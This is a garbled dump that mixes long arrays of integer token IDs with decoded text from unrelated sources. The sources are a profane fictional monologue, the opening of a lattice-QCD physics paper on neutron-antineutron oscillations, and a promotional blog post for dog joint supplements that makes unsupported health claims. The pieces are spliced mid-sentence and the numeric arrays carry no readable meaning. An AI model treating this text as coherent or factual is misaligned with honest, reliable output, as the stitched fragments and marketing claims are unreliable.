669, 3115, 578, 79, 61, 4862, 92, 79, 599, 393, 41908, 884, 768, 740, 5960, 740, 768, 883, 889, 50276, 61, 1156, 92, 30544, 724, 310, 4209, 281, 4086, 562, 1142, 273, 253, 1655, 3210, 683, 48598, 522, 29628, 27, 7857, 16471, 1570, 1198, 1650, 13, 39784, 14, 7527, 11403, 1403, 6297, 323, 23463, 11843, 275, 370, 6971, 9, 19, 11824, 45, 393, 3181, 9242, 9, 19, 11824, 51, 393, 3181, 9242, 9, 21, 11824, 68, 5, 403, 3264, 281, 320, 12969, 562, 387, 669, 3115, 578, 79, 61, 4862, 92, 79, 599, 393, 41908, 884, 768, 740, 5960, 740, 768, 883, 889, 50276, 61, 1156, 92, 30544, 724, 1008, 49903, 86, 27, 8012, 42496, 2194, 285, 370, 8683, 9, 740, 1009, 11403, 1403, 6297, 342, 10599, 28556, 2646, 261, 261, 13, 387, 669, 3115, 578, 79, 61, 4862, 92, 79, 599, 393, 41908, 884, 768, 26, 5960, 740, 768, 805, 889, 50276, 61, 1156, 92, 30544, 724, 1008, 49903, 86, 27, 6755, 377, 1570, 11604, 5661, 7787, 476, 1014, 4656, 4465, 14, 6967, 3210, 342, 747, 6353, 342, 11843, 2708, 247, 39784, 1008, 47, 1316, 249, 729, 27, 8971, 13041, 28, 1214, 56, 968, 676, 27, 7199, 48808, 1570, 733, 943, 320, 21947, 326, 841, 403, 1340, 273, 9777, 8197, 342, 253, 27977, 3280, 3551, 432, 36060, 15759, 1783, 15, 15574, 8197, 588, 2430, 26565, 285, 10799, 10979, 10426, 281, 1978, 13870, 342, 5661, 12320, 15, 187, 187, 510, 5481, 5122, 323, 841, 16307, 310, 253, 5412, 37290, 273, 247, 9841, 4447, 1331, 460, 307, 1406, 342, 247, 10151, 21604, 313, 1542, 625, 4278, 13, 923, 411, 15, 353, 15, 18724, 457, 84, 499, 35634, 387, 367, 57, 3299, 4050, 1008, 1845, 75, 64, 57, 2498, 380, 3625, 5048, 323, 436, 5412, 37290, 310, 370, 79, 61, 4862, 92, 79, 94, 393, 4287, 608, 61, 2059, 1366, 285, 436, 4451, 11118, 4483, 323, 5661, 6298, 342, 1652, 390, 642, 4114, 15, 21910, 13, 627, 403, 767, 5239, 273, 5661, 17891, 15, 380, 806, 13, 534, 3249, 323, 1959, 342, 1781, 19025, 10027, 25421, 824, 347, 6053, 14, 44, 13, 310, 1754, 327, 21604, 14, 31404, 307, 1406, 37290, 1561, 15935, 15, 6897, 12589, 87, 600, 13, 581, 1537, 1902, 436, 281, 2826, 3240, 7208, 13, 347, 253, 1180, 273, 15935, 2080, 23141, 253, 3264, 3033, 669, 3115, 578, 79, 61, 4862, 92, 79, 599, 393, 41908, 884, 768, 883, 39478, 2299, 13, 253, 28088, 2180, 1561, 15935, 310, 4122, 16013, 13, 342, 247, 9777, 273, 11467, 1008, 48259, 1342, 27, 8012, 265, 62, 1764, 3115, 578, 47, 13340, 34465, 20, 393, 3181, 884, 768, 1423, 8395, 1124, 464, 3115, 578, 79, 61, 4862, 92, 79, 7294, 19, 2704, 1156, 92, 1704, 32964, 1284, 247, 906, 13, 253, 3033, 310, 16013, 2429, 281, 253, 1959, 15355, 13, 285, 581, 1364, 10725, 327, 1566, 3311, 569, 285, 26480, 311, 569, 281, 4908, 352, 15, 1916, 3522, 13, 253, 954, 32881, 3033, 432, 4679, 273, 436, 2238, 13, 669, 3115, 578, 79, 393, 4862, 92, 79, 599, 2239, 495, 15, 22, 393, 3181, 884, 63, 25, 393, 393, 1156, 92, 30544, 3303, 3249, 432, 6053, 14, 44, 313, 7330, 10, 1008, 15705, 14, 44, 1570, 187, 187, 510, 1273, 1511, 273, 3368, 33826, 253, 37290, 273, 1959, 13, 5412, 5205, 9036, 342, 247, 2303, 846, 247, 1534, 673, 273, 8630, 15, 831, 1511, 273, 3368, 310, 1959, 273, 253, 1566, 14, 6820, 3311, 569, 2424, 323, 26262, 300, 569, 1561, 15935, 285, 4483, 323, 3687, 1453, 273, 985, 29126, 15, 1916, 3522, 13, 253, 954, 32881, 3033, 3249, 432, 253, 309, 2293, 3368, 313, 13549, 2262, 669, 3115, 578, 79, 393, 4862, 92, 79, 599, 2239, 470, 15, 2691, 393, 3181, 884, 63, 25, 393, 393, 1156, 92, 30544, 724, 1008, 24774, 3088, 27681, 15141, 27, 13034, 75, 91, 1570, 329, 2803, 273, 669, 1588, 92, 48, 1603, 9138, 1009, 2572, 310, 5998, 323, 2852, 4679, 273, 436, 2238, 13, 533, 253, 14493, 281, 4086, 562, 2710, 378, 6955, 11813, 812, 320, 12059, 3012, 7293, 327, 27977, 14314, 390, 14523, 273, 253, 21604, 14, 31404, 307, 1406, 4315, 3603, 15, 187, 187, 48, 9477, 569, 285, 4315, 3603, 187, 4578, 187, 187, 510, 2540, 1318, 273, 253, 12480, 15877, 432, 1264, 14800, 1764, 1124, 92, 18, 2704, 3115, 578, 79, 61, 4862, 92, 79, 6092, 2029, 3005, 278, 426, 260, 578, 4449, 46, 3713, 1906, 578, 4449, 46, 5548, 1906, 64, 56, 10, 68, 578, 50, 3717, 3713, 1906, 64, 56, 1337, 5764, 578, 50, 3717, 2311, 393, 4841, 393, 4862, 92, 79, 8589, 393, 1588, 92, 48, 94, 1040, 295, 393, 3799, 11227, 835, 370, 68, 578, 4449, 46, 724, 310, 253, 3515, 273, 253, 378, 6955, 3762, 281, 253, 5075, 5016, 4311, 13, 370, 68, 578, 50, 3717, 94, 370, 310, 253, 27977, 3515, 432, 253, 5075, 281, 253, 6069, 4311, 13, 285, 669, 4841, 393, 4862, 92, 79, 8589, 393, 1588, 92, 48, 94, 1040, 295, 393, 3799, 5, 310, 253, 1327, 14, 44931, 800, 4315, 3284, 12480, 253, 21604, 285, 1331, 460, 307, 1406, 3054, 15, 380, 581, 14, 14075, 43939, 27977, 3515, 13, 370, 68, 578, 50, 3717, 3303, 310, 1929, 1008, 56, 968, 676, 27, 7199, 48808, 28, 1214, 48, 8260, 27, 17103, 82, 73, 1092, 285, 370, 68, 578, 4449, 46, 724, 556, 644, 5118, 323, 2709, 11813, 1008, 47, 1316, 249, 729, 27, 8971, 13041, 28, 1214, 49903, 86, 27, 8012, 42496, 28, 1214, 49903, 86, 27, 6755, 377, 28, 1214, 56, 968, 676, 27, 7199, 48808, 1570, 380, 5572, 669, 1588, 92, 48, 724, 4428, 767, 598, 35608, 285, 1740, 1066, 35608, 285, 310, 9924, 273, 1264, 8557, 273, 35608, 432, 253, 1896, 4948, 3318, 86, 63, 53, 330, 1484, 393, 3362, 1157, 393, 3362, 1484, 63, 53, 330, 277, 393, 3362, 1157, 393, 3362, 277, 63, 53, 330, 277, 393, 3362, 11227, 835, 370, 36, 5, 310, 253, 4179, 39778, 4315, 15, 9157, 13, 841, 2426, 1900, 1705, 275, 22926, 8557, 13, 3318, 86, 63, 53, 64, 45, 330, 277, 64, 45, 393, 3362, 1157, 393, 3362, 1484, 63, 53, 64, 51, 330, 277, 64, 51, 393, 3362, 11227, 1580, 253, 6804, 36494, 1319, 2426, 403, 5058, 15, 36562, 13, 841, 9158, 403, 13727, 762, 3295, 10377, 13, 370, 6971, 9, 20, 11824, 68, 1366, 534, 5644, 281, 767, 3295, 47454, 1764, 2043, 92, 2132, 94, 187, 61, 4220, 768, 84, 2026, 1944, 7261, 16192, 94, 15638, 393, 4259, 578, 78, 1479, 889, 4259, 578, 79, 40031, 9213, 4259, 578, 16825, 889, 4259, 578, 78, 40031, 9213, 4259, 578, 78, 17443, 889, 4259, 578, 18789, 9213, 4259, 578, 79, 17443, 889, 4259, 578, 22009, 94, 19049, 3362, 61, 4220, 768, 66, 2026, 1944, 7261, 16192, 4203, 393, 4259, 578, 78, 1944, 889, 4259, 578, 79, 7261, 9213, 4259, 578, 79, 1944, 889, 4259, 578, 78, 7261, 5548, 423, 92, 2132, 2138, 835, 370, 74, 13, 75, 13, 76, 13, 77, 13, 78, 13, 79, 5, 403, 3295, 14452, 15, 2053, 1264, 2515, 1421, 281, 1264, 3510, 273, 9158, 1008, 51, 8500, 27, 17103, 7332, 5218, 1764, 2043, 92, 2132, 94, 187, 61, 1588, 92, 48, 2306, 18, 1126, 4635, 64, 18, 61, 4635, 64, 19, 61, 4635, 64, 20, 94, 15638, 9, 86, 578, 74, 61, 4635, 64, 18, 1990, 53, 94, 330, 1484, 578, 75, 61, 4635, 64, 18, 34227, 69, 578, 76, 61, 4635, 64 ]	Wall: Rivers of Semen, my opus? Look, no publisher is going to take me seriously with a title like that, unless I have a degree from fucking Yale. So let’s do this, because otherwise my life has been a complete waste of time. What else do I have, really? Some industry awards? Some platinum albums? Accolades in Rolling Stone? Meaningless. They are decorations draped across the blood and flesh of a society that, like me, is far more than what it appears to be.--- author: - \| [^1] [^2], Chris Schroeder, Joseph Wasem\ Physical Sciences Directorate, Lawrence Livermore National Laboratory\ Livermore, California 94550, USA\ E-mail: title: 'Neutron-antineutron oscillations on the lattice' --- ł Ł ø Ø § \#1 \#1[[(\[\#1\])]{}]{} Introduction ============ One unanswered mystery of the universe is the process that led to the abundance of observed baryons as compared to their antibaryon counterparts. The source of this baryon number violation, which is expected to come from beyond the Standard Model (BSM) physics, can be realized in low-energy processes such as proton decay (if baryon number is violated by 1 unit) or transitions between neutrons and antineutrons (if baryon number is violated by 2 units). The latter case, often referred to as neutron-antineutron oscillation (akin to neutral meson mixing), proves to be an intriguing scenario when considering the usual sphaleron picture of baryogenisis (which violates baryon number, $B$, and lepton number, $L$, but conserves $B-L$) coupled with Majorana neutrinos [@Mohapatra:1980qe] (whose transition between neutrinos and antineutrinos leads to $\Delta L = 2$). Additionally, neutron-antineutron oscillations do not suffer from kinematic suppressions that can restrict proton decay if there is little overlap with the initial state proton and final state electron or muon [@Nussinov:2001rb]. To that end, neutron-antineutron oscillations have been explored experimentally with intriguing prospects for $\mathcal{O}(1000)$ improvements in upcoming experimental efforts [@Proj_X]. Any discussion of neutron-antineutron oscillations starts with assuming the existence of some BSM process that leads to a $\Delta B = 2$ operator in the low-energy effective field theory. This operator will lead to off-diagonal elements of the Hamiltonian of the neutron-antineutron system $$\begin{aligned} H = \begin{pmatrix} E_n & \delta m \\ \delta m & E_{\bar{n}} \end{pmatrix}=\begin{pmatrix} E+V & \delta m \\ \delta m & E-V \end{pmatrix},\end{aligned}$$ where $V$ is the potential difference between the neutron and the antineutron (a magnetic field can lead to a non-zero $V$ since the magnetic moments have opposite signs) and $V=0$ in a free system. Upon solving the Schrödinger equation for the system, one finds the transition probability between neutrons and antineutrons given by $$P_{n\rightarrow \bar{n}}(t) = \frac{\delta m^2}{\delta m^2 + V^2}\sin^2\Big[\sqrt{\delta m^2 + V^2} \ t \Big].$$ While this equation is true for a given $V$, it is standard to define the period of free neutron oscillations due to the BSM physics as $$\tau_{n\overline{n}} = \frac{1}{\delta m}.$$ The value for $\tau_{n\overline{n}}$ greatly depends on which BSM scenario is being explored. It has been estimated that a bound of $\tau_{n\overline{n}} \gtrsim 10^{10}-10^{11}\ \text{seconds}$ is sufficient to rule out many of the current models[@Mohapatra:2009wp]. For example, TeV-scale seesaw mechanisms for neutrino masses in $SU(2)_L \times SU(2)_R \times SU(4)_c$ are expected to be ruled out at $\tau_{n\overline{n}} \gtrsim 10^{10}-10^{11}\ \text{seconds}$ [@Babu:2008rq]; and $SO(10)$ seesaw mechanisms with adequate baryogenisis, at $\tau_{n\overline{n}} \gtrsim 10^{9}-10^{12}\ \text{seconds}$ [@Babu:2012pp]. Current experimental limits can even restrict extra-dimensional models with new particles with masses below a TeV [@Nussinov:2001rb; @Winslow:2010wf]. It should be emphasized that these are order of magnitude estimates with the QCD input coming from naïve dimensional analysis. Future estimates will require rigorous and precise lattice calculations to keep pace with experimental precision. The detection mechanism for these transitions is the cold annihilation of a newly formed antineutron with a nearby neutron (for more details, see W. M. Snow’s plenary at PXPS 2012 [@Proj_X]). The primary channel for this cold annihilation is $n\overline{n} \rightarrow 5\pi$, and this unique signature allows for experimental signals with little or no background. Generally, there are two sets of experimental searches. The first, which comes for free with large proton decay detectors such as Super-K, is based on neutron-antineutron annihilation within nuclei. Naïvely, one might expect this to occur quite frequently, as the number of nuclei far exceeds the expected bound $\tau_{n\overline{n}} \gtrsim 10^{11}$; however, the oscillation period within nuclei is highly suppressed, with a magnitude of roughly [@Friedman:2008es] $$\tau_{Nucl}=(3 \times 10^{22})\frac{\tau_{n\overline{n}}^2}{\text{sec}}.$$ As a result, the bound is suppressed compared to the free expectation, and one must rely on model estimations and extrapolations to extract it. To date, the most stringent bound from experiments of this kind, $\tau_{n \overline{n}} > 3.5 \times 10^8 \ \text{seconds}$, comes from Super-K (2011) [@Super-K]. The second type of experiment explores the annihilation of free, cold neutrons with a target after a significant time of flight. This type of experiment is free of the model-dependent estimations required for annihilations within nuclei and allows for greater control of systematics. To date, the most stringent bound comes from the ILL experiment (1993): $\tau_{n \overline{n}} > 0.86 \times 10^8 \ \text{seconds}$ [@BaldoCeolin:1994jz]. A factor of $\mathcal{O}(1000)$ increase is estimated for future experiments of this kind, but the bounds to rule out various BSM theories could be altered significantly depending on QCD enhancement or suppression of the neutron-antineutron matrix elements. Oscillations and matrix elements ================================ The observed value of the mixing arises from three inputs $$\frac{1}{\tau_{n\overline{n}}}=\delta m = c_{BSM}(\mu_{BSM},\mu_W)c_{QCD}(\mu_W,\Lambda_{QCD}) \langle \overline{n}\| \mathcal{O} \| n \rangle,$$ where $c_{BSM}$ is the running of the BSM theory to the weak interaction scale, $c_{QCD} $ is the QCD running from the weak to the nuclear scale, and $\langle \overline{n}\| \mathcal{O} \| n \rangle$ is the non-perturbative matrix element mixing the neutron and antineutron states. The one-loop perturbative QCD running, $c_{QCD}$, is known [@Winslow:2010wf; @Ozer:1982qh], and $c_{BSM}$ has been calculated for multiple theories [@Nussinov:2001rb; @Babu:2008rq; @Babu:2012pp; @Winslow:2010wf]. The operator $\mathcal{O}$ contains two up quarks and four down quarks and is composed of three pairs of quarks from the possible forms $$u^T C u \quad, \quad u^T C d \quad, \quad d^T C d \quad,$$ where $C$ is the charge conjugation matrix. Additionally, these terms always come in chiral pairs, $$u^T_L C d_L \quad, \quad u^T_R C d_R \quad,$$ since the mixed chirality terms are zero. Lastly, these operators are invariant under color symmetry, $SU(3)_c$, which leads to two color tensors $$\begin{aligned} \Gamma^{s}_{ijklmn}&=& \epsilon_{mik}\epsilon_{njl}+\epsilon_{nik}\epsilon_{mjl}+\epsilon_{mjk}\epsilon_{nil}+\epsilon_{njk}\epsilon_{mil},\quad\Gamma^{a}_{ijklmn}= \epsilon_{mij}\epsilon_{nkl}+\epsilon_{nij}\epsilon_{mkl},\end{aligned}$$ where $i,j,k,l,m,n$ are color indices. These three conditions lead to three types of operators [@Rao:1982gt]: $$\begin{aligned} \mathcal{O}^1_{\chi_1\chi_2\chi_3}&=&(u_{i\chi_1}^{T} C u_{j\chi_1})(d_{k\chi_
[ 1475, 253, 4370, 5603, 3063, 2866, 187, 187, 1989, 2139, 403, 597, 594, 4633, 32, 187, 187, 3378, 1046, 2165, 273, 20279, 634, 16597, 7120, 13, 1046, 29644, 281, 616, 2739, 11636, 13, 285, 1046, 1408, 275, 253, 5603, 634, 4370, 457, 84, 22136, 403, 3192, 247, 18019, 15, 187, 187, 1552, 12516, 3473, 285, 3490, 327, 776, 16597, 457, 84, 22136, 534, 689, 673, 476, 2847, 27939, 285, 28153, 273, 616, 22136, 15, 496, 1635, 281, 326, 13, 634, 16597, 457, 84, 22136, 812, 2454, 2866, 187, 187, 47212, 10696, 285, 10741, 10332, 187, 187, 3251, 3764, 3075, 285, 25699, 275, 285, 1475, 22136, 187, 187, 1145, 2559, 2495, 273, 49000, 44483, 187, 187, 6506, 13, 309, 5082, 457, 85, 971, 667, 273, 1110, 1841, 323, 619, 1499, 706, 14907, 378, 3269, 1512, 2866, 187, 187, 47212, 26434, 323, 9097, 403, 10607, 342, 3290, 12696, 326, 417, 760, 1361, 33623, 3075, 533, 1361, 1973, 6036, 25548, 534, 4056, 49966, 616, 22136, 15, 2053, 402, 793, 403, 247, 1270, 1039, 281, 1361, 667, 4370, 755, 896, 253, 591, 76, 275, 616, 2940, 285, 3153, 247, 6036, 3075, 1959, 1495, 15, 187, 187, 510, 7967, 3219, 10615, 11376, 23106, 6023, 9115, 323, 40938, 187, 187, 42, 457, 78, 417, 2119, 604, 368, 457, 250, 4704, 323, 436, 2866, 187, 187, 1552, 310, 1633, 326, 253, 2644, 4370, 1533, 556, 644, 41453, 342, 1580, 253, 3332, 6054, 275, 6036, 26434, 323, 9097, 2866, 187, 187, 510, 5962, 7027, 670, 6036, 26434, 323, 9097, 310, 326, 597, 403, 35310, 323, 1711, 285, 8334, 9097, 2, 187, 187, 33814, 2, 187, 187, 24243, 13, 326, 9193, 1175, 281, 755, 745, 619, 9081, 15, 3954, 23448, 4413, 326, 5580, 6036, 26434, 323, 9097, 403, 7746, 1046, 4370, 2885, 326, 604, 634, 298, 300, 401, 7112, 310, 2168, 275, 6036, 3075, 840, 597, 840, 943, 1265, 3192, 6036, 26434, 15, 4825, 14701, 327, 253, 773, 5478, 1425, 187, 187, 510, 1682, 16498, 323, 634, 4370, 457, 84, 6036, 3075, 310, 281, 3523, 352, 1078, 352, 1014, 6569, 2, 187, 187, 2773, 457, 84, 2139, 1046, 4370, 2885, 943, 320, 4933, 616, 6652, 494, 13, 4373, 4507, 13, 285, 42742, 11829, 4023, 6036, 26434, 4768, 616, 1495, 3185, 273, 4983, 672, 597, 403, 253, 4723, 310, 2168, 2218, 2, 313, 33768, 347, 247, 2872, 16597, 13724, 187, 187, 17126, 832, 953, 273, 28396, 15643, 187, 187, 3378, 1046, 6923, 13, 26376, 13, 285, 29644, 634, 4370, 2184, 310, 8133, 247, 5699, 2408, 273, 3490, 285, 20441, 327, 616, 22136, 13, 3340, 275, 616, 15746, 285, 13290, 15, 187, 187, 1909, 436, 12415, 310, 3732, 281, 616, 22136, 352, 31394, 1066, 25548, 534, 310, 247, 41292, 4408, 326, 46168, 634, 16597, 457, 84, 22136, 15, 733, 6993, 347, 247, 19266, 875, 1027, 14910, 285, 7120, 247, 9560, 2554, 275, 253, 6036, 1786, 273, 634, 4370, 15, 187, 187, 1909, 673, 4566, 327, 25548, 31394, 1066, 285, 253, 4757, 326, 369, 2378, 275, 253, 6036, 5075, 561, 15, 831, 476, 1421, 281, 2866, 187, 187, 2906, 394, 13825, 285, 6036, 10696, 187, 187, 7992, 4190, 3075, 285, 25699, 187, 187, 2290, 4434, 2509, 15363, 4712, 187, 187, 688, 1340, 281, 1682, 3657, 841, 1077, 4016, 6973, 13, 352, 310, 1682, 281, 1265, 3652, 285, 11850, 634, 16597, 457, 84, 22136, 347, 2393, 347, 581, 807, 1711, 342, 6036, 26434, 2, 187, 187, 6872, 403, 816, 690, 273, 253, 5373, 273, 4983, 634, 16597, 745, 327, 253, 987, 44802, 342, 6036, 402, 793, 2866, 187, 187, 998, 3755, 7461, 285, 1329, 5875, 6036, 25548, 285, 41292, 4408, 187, 187, 3848, 719, 833, 4839, 273, 21781, 1996, 327, 275, 1495, 187, 187, 25800, 511, 6036, 773, 68, 2345, 279, 272, 668, 323, 3038, 285, 3038, 273, 3075, 14, 4924, 794, 2, 187, 187, 19262, 4787, 253, 4702, 273, 15546, 281, 4056, 49966, 22136, 4768, 512, 8661, 273, 1495, 187, 187, 1231, 457, 306, 753, 352, 2378, 285, 359, 588, 1333, 352, 969, 2866, 187, 187, 510, 1682, 16498, 323, 634, 4370, 457, 84, 6036, 3237, 310, 281, 3523, 352, 1078, 352, 1014, 6569, 2, 187, 187, 1276, 37095, 46580, 281, 9870, 323, 496, 23106, 6023, 84, 323, 367, 8777, 187, 187, 2512, 403, 8717, 353, 22026, 952, 562, 627, 3063, 21939, 272, 1475, 670, 253, 26101, 773, 88, 9631, 668, 24405, 15, 187, 187, 3726, 9023, 326, 352, 588, 417, 760, 1361, 634, 4370, 457, 84, 22136, 13, 533, 671, 9798, 731, 4383, 13, 597, 588, 320, 2104, 281, 8778, 28279, 13, 285, 417, 281, 3748, 320, 253, 1735, 4007, 15, 187, 187, 20127, 2866, 594, 5046, 326, 310, 247, 1652, 2372, 273, 271, 23668, 318, 13, 533, 776, 2285, 273, 4370, 10071, 556, 1705, 2366, 281, 2794, 253, 37648, 37095, 433, 850, 9423, 3550, 281, 1361, 368, 1089, 253, 1682, 6036, 7018, 323, 634, 16597, 342, 12696, 326, 50164, 789, 285, 403, 4999, 281, 897, 15, 187, 187, 158, 239, 216, 4051, 1028, 375, 6771, 26992, 19700, 504, 187, 187, 4041, 273, 253, 954, 4633, 16597, 13290, 285, 6036, 8499, 323, 9097, 562, 627, 15, 831, 8508, 34253, 275, 11052, 10696, 13, 31845, 22136, 13, 285, 310, 247, 3626, 1039, 281, 594, 4977, 634, 16597, 457, 84, 6036, 3075, 15, 20815, 2175, 921, 326, 4051, 1028, 375, 6771, 26992, 19700, 504, 310, 247, 4999, 285, 3626, 4500, 281, 1329, 6036, 1786, 285, 33623, 3075, 15, 187, 187, 158, 239, 216, 775, 857, 14790, 249, 322, 5773, 366, 187, 187, 40, 2179, 634, 16597, 3075, 6619, 28123, 760, 25965, 253, 1895, 285, 2506, 457, 85, 4993, 352, 15, 775, 857, 14790, 249, 322, 5773, 366, 588, 417, 760, 33623, 634, 16597, 457, 84, 3075, 533, 1361, 8706, 253, 13572, 4408, 285, 25548, 8479, 634, 16597, 457, 84, 25699, 15, 733, 671, 18653, 1824, 17302, 534, 34253, 275, 6966, 11058, 327, 634, 16597, 457, 84, 22136, 15, 1281, 634, 4370, 755, 9049, 285, 6923, 1475, 1293, 3075, 2, 187, 187, 158, 239, 216, 44986, 187, 187, 3338, 46, 390, 353, 4040, 14, 30923, 38258, 14, 20912, 1351, 313, 5658, 476, 923, 2139, 359, 751, 6789, 352, 816, 44986, 10, 310, 271, 8708, 8508, 326, 7729, 512, 1027, 11880, 273, 268, 8777, 2972, 3075, 48009, 3515, 949, 616, 11083, 13154, 15, 733, 671, 7729, 4711, 625, 32996, 13, 247, 3626, 3270, 14, 13901, 14689, 13, 281, 10073, 275, 3652, 253, 8350, 12974, 273, 41292, 7944, 1475, 634, 16597, 457, 84, 22136, 15, 187, 187, 158, 239, 216, 33420, 16937, 280, 40393, 313, 55, 262, 4988, 330, 10, 187, 187, 2042, 634, 806, 7906, 672, 368, 3047, 14590, 330, 369, 390, 6525, 13, 840, 6604, 253, 9790, 273, 7108, 326, 1869, 273, 253, 1072, 2181, 15, 10348, 368, 871, 326, 14590, 330, 2686, 7120, 247, 9560, 2554, 275, 253, 4702, 273, 15546, 275, 634, 16597, 457, 84, 2133, 32, 10595, 6533, 310, 253, 2022, 8350, 2601, 326, 6556, 634, 16597, 457, 84, 2133, 285, 22136, 2366, 15, 49092, 285, 1652, 8322, 273, 15546, 426, 8872, 4370, 342, 247, 7695, 22136, 15, 187, 187, 3039, 368, 403, 2819, 323, 253, 1682, 6036, 8499, 323, 9097, 1056, 2119, 326, 597, 452, 841, 12696, 403, 275, 731, 2, 187, 187, 3726, 588, 512, 1361, 634, 4370, 347, 247, 2872, 16597, 13, 29386, 2897, 296, 3408, 13, 6782, 13, 285, 15822, 1711, 4370, 8661, 273, 1495, 2, 187, 187, 6067, 23106, 6023, 1338, 323, 40938, 42683, 318, 187, 187, 4125, 326, 368, 871, 6036, 26434, 323, 9097, 403, 417, 760, 323, 672, 368, 4370, 2184, 310, 2168, 18492, 3374, 390, 2970, 247, 1652, 625, 14370, 39746, 13, 533, 323, 512, 8661, 273, 616, 1495, 13, 352, 457, 84, 673, 281, 12433, 282, 1066, 285, 1089, 253, 987, 581, 323, 368, 285, 634, 378, 3269, 15, 187, 187, 3378, 253, 12553, 24405, 44282, 275, 1133, 285, 776, 747, 14541, 3640, 13, 776, 4370, 10071, 1119, 581, 2181, 326, 310, 3430, 342, 594, 1142, 6036, 26434, 323, 9097, 562, 627, 15, 187, 187, 3726, 760, 452, 581, 2238, 273, 8499, 326, 310, 6326, 281, 320, 908, 323, 512, 9097, 13, 642, 2647, 253, 2363, 390, 1655, 6036, 1617, 2, 11879, 40705, 15, 187, 187, 2773, 310, 2139, 1060, 387, 367, 484, 4379, 359, 3562, 577, 1027, 8661, 273, 6036, 26434, 323, 9097, 326, 1918, 634, 4370, 253, 2173, 12696, 597, 878, 387, 1046, 1127, 275, 616, 1495, 15, 187, 187, 3378, 2233, 6, 3626, 12696, 285, 26925, 26115, 841, 402, 793, 403, 1633, 368, 476, 320, 9979, 273, 4933, 281, 634, 1682, 11829, 610, 3331, 15, 5057, 625, 8692, 327, 731, 2708, 2, 10215, 441, 368, 1912, 457, 85, 14938, 352, 42908, 187, 187, 39557, 407, 16916, 30630, 187, 187, 1328, 457, 84, 7208, 1925, 13, 773, 783, 15657, 844, 284, 2205, 273, 253, 21048, 3645, 668, 407, 367, 484, 4379, 457, 84, 15822, 15205, 1417, 259, 1914, 254, 4370, 4907, 11197, 15, 33581, 344, 5841, 779, 326, 13, 984, 344, 457, 84, 14211, 13, 11755, 13, 285, 4536, 21189, 285, 417, 816, 984, 344, 457, 84, 253, 760, 27143, 275, 253, 3906, 15, 8452, 457, 84, 281, 1333, 15, 187, 4013, 13, 344, 671, 14528, 6153, 253, 1682, 2600, 3909, 670, 3253, 9097, 285, 849, 597, 476, 1056, 1014, 253, 954, 32864, 3101, 14, 249, 14, 33530, 715, 7353, 29828, 15, 3954, 326, 457, 84, 1524, 10721, 15, 187, 187, 510, 4737, 310, 275, 253, 8105, 259, 3544, 15, 187, 187, 23337, 380, 78, 1893, 10351, 187, 187, 6067, 9097, 2389, 253, 13746, 13, 285, 403, 1900, 9049, 672, 352, 457, 84, 673, 281, 1379, 253, 26434, 2, 844, 452, 644, 970, 352, 323, 247, 2129, 285, 476, 4366, 247, 3064, 275, 776, 1249, 14, 2913, 14, 744, 16597, 457, 84, 11959, 285, 3745, 281, 1408, 13, 594, 5211, 2, 187, 35769, 2205, 187, 187, 15413, 23089, 247, 399, 17693, 2, 187, 187, 3220, 4370, 310, 9199, 38818, 708, 884, 1107, 1711, 15, 754, 434, 644, 1579, 14650, 253, 1390, 1643, 2607, 14, 896, 29434, 15, 2732, 816, 247, 1643, 1897, 327, 436, 367, 484, 4379, 8499, 13, 344, 310, 2168, 4886, 1199, 1805, 13, 2389, 352, 2, 12429, 187, 187, 47074, 418, 11625, 253, 308, 4740, 187, 187, 1231, 1694, 253, 26434, 323, 776, 374, 14, 2913, 14, 744, 11877, 22547, 15, 754, 434, 417, 1907, 667, 6036, 3075, 2568, 13, 533, 359, 3078, 281, 755, 779, 3053, 2393, 15, 754, 14528, 253, 9075, 1046, 673, 359, 1918, 731, 281, 779, 15, 39457, 187, 187, 56, 968, 676, 310, 6610, 8247, 281, 3032, 8937, 16531, 187, 187, 6067, 5685, 44452, 45450, 676, 310, 854, 285, 689, 253, 2469, 807, 369, 4983, 281, 3468, 1066, 285, 46169, 247, 2372, 15, 329, 1643, 2607, 896, 359, 1694, 779, 841, 6036, 26434, 285, 7808, 13, 344, 434, 4720, 2970, 896, 281, 2994, 15, 844, 4571, 626, 320, 33128, 342, 253, 1543, 2, 22169, 187, 187, 49, 8777, 42216, 934, 380, 78, 5863, 187, 187, 6067, 9097, 13, 665, 476, 320, 2619, 90, 13, 564, 4482, 1070, 731, 987, 598, 672, 5907, 15, 844, 6194, 9097, 327, 639, 874, 285, 597, 789, 1077, 1892, 281, 320, 7899, 275, 3515, 13, 7145, 272, 13, 3966, 13, 594, 436, 6036, 8499, 588, 513, 973, 281, 1978, 731, 598, 285, 4886, 15, 1219, 187, 187, 3633, 380, 367, 484, 4379, 6317, 2, 187, 187, 1394, 457, 620, 755, 11855, 13330, 13, 4370, 12192, 13, 747, 1885, 11269, 13, 5043, 594, 1199, 625, 15, 733, 457, 620, 320, 1349, 17118, 3258, 2, 50, 27, 187, 187, 6878, 272, 10175, 896, 285, 6593, 1754, 327, 673, 5084, 187, 187, 42, 452, 247, 941, 6301, 342, 2608, 44077, 285, 767, 1027, 2069, 15, 673, 18, 310, 253, 1072, 323, 581, 2608, 13, 533, 673, 19, 310, 1027, 15, 209, 187, 2566, 426, 31385, 15, 3233, 9270, 7506, 187, 50274, 8, 301, 5295, 544, 18, 13, 18, 13, 18, 13, 18, 13, 18, 13, 18, 13, 18, 13, 18, 13, 18, 13, 18, 13, 19, 13, 19, 13, 19, 13, 19, 13, 19, 1092, 187, 50274, 626, 553, 18, 5295, 14412, 7798, 14, 883, 14, 520, 3127, 27, 746, 27, 1237, 1383, 686, 7798, 14, 883, 14, 520, 3127, 27, 746, 27, 1237, 1383, 686, 7798, 14, 883, 14, 520, 3127, 27, 746, 27, 1237, 10606, 7798, 14, 883, 14, 520, 3127, 27, 746, 27, 1237, 10606, 7798 ]	around the dog park today… But why are they so popular? With every game of fetch your pup plays, every sprint to their food bowl, and every run in the park your dog’s joints are taking a beating. This puts pressure and force on our pup’s joints which over time can cause degeneration and deterioration of their joints. In addition to that, your pup’s joints could face… Joint inflammation and bacterial infections Severe pain and discomfort in and around joints An increased risk of Osteoarthritis Yeah, I wouldn’t want any of those things for my slobbery BFF too… Joint supplements for dogs are loaded with quality ingredients that not only help alleviate pain but help build joint cartilage which strengthens their joints. These sups are a great way to help any dog get back the perk in their walk and live a joint pain free life. The Biggest Lie About Joint Supplements for Dogs I’m not sure if you’re ready for this… This is something that the whole dog world has been battling with since the recent rise in joint supplements for dogs… The biggest lie about joint supplements for dogs is that they are ONLY for old and sick dogs! FALSE! Wow, that feels good to get off my chest. Nowadays companies that sell joint supplements for dogs are telling every dog parent that if your lil Fido is already in joint pain then they then should start taking joint supplements. Emphasis on the “start.” The best cure for your 